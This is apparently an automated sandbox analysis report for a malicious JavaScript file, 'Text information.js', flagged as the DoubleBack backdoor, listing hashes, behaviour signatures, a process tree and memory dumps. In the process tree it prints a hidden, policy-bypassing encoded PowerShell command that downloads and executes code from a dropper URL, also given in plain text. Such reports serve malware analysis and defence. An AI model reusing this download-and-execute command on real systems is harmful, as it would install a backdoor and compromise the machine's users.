Analysis

  • max time kernel
    25s
  • max time network
    75s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    18-06-2021 06:37

General

  • Target

    Text information.js

  • Size

    35KB

  • MD5

    51bf52acf5121880a65144f201e60b52

  • SHA1

    091d1c859cbfe1cd0148fdb96fecd08cd55e1428

  • SHA256

    32f9704d37818253fbda931393fe3c1256f37931d0c36539cd20f49100080400

  • SHA512

    bf1328cdb2477edd1d37f43336fe781cea74aee5a431a16698ce685c62aac5f85994dded7226aa53b04d94331e0571e5752f20a6d4d22be4215eab557dba36ea

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://golfien.com/client.txt

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

  • DoubleBack x64 Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 22 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Text information.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwBvAGwAZgBpAGUAbgAuAGMAbwBtAC8AYwBsAGkAZQBuAHQALgB0AHgAdAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwBvAGwAZgBpAGUAbgAuAGMAbwBtAC8AYwBsAGkAZQBuAHQALgB0AHgAdAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:916

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/916-64-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

    Filesize

    8KB

  • memory/916-67-0x00000000023B0000-0x00000000023B1000-memory.dmp

    Filesize

    4KB

  • memory/916-61-0x000007FEFBEA1000-0x000007FEFBEA3000-memory.dmp

    Filesize

    8KB

  • memory/916-62-0x0000000001F80000-0x0000000001F81000-memory.dmp

    Filesize

    4KB

  • memory/916-63-0x000000001AD60000-0x000000001AD61000-memory.dmp

    Filesize

    4KB

  • memory/916-65-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

    Filesize

    8KB

  • memory/916-60-0x0000000000000000-mapping.dmp

  • memory/916-66-0x0000000002540000-0x0000000002541000-memory.dmp

    Filesize

    4KB

  • memory/916-73-0x0000008800000000-0x000000880000C000-memory.dmp

    Filesize

    48KB

  • memory/916-68-0x000000001B610000-0x000000001B611000-memory.dmp

    Filesize

    4KB

  • memory/916-69-0x000000001B880000-0x000000001B881000-memory.dmp

    Filesize

    4KB

  • memory/916-70-0x000000001ACE6000-0x000000001ACE8000-memory.dmp

    Filesize

    8KB

  • memory/916-72-0x000000001AC70000-0x000000001AC79000-memory.dmp

    Filesize

    36KB

  • memory/916-71-0x000000001ACEC000-0x000000001AD0B000-memory.dmp

    Filesize

    124KB

  • memory/1092-59-0x0000000000000000-mapping.dmp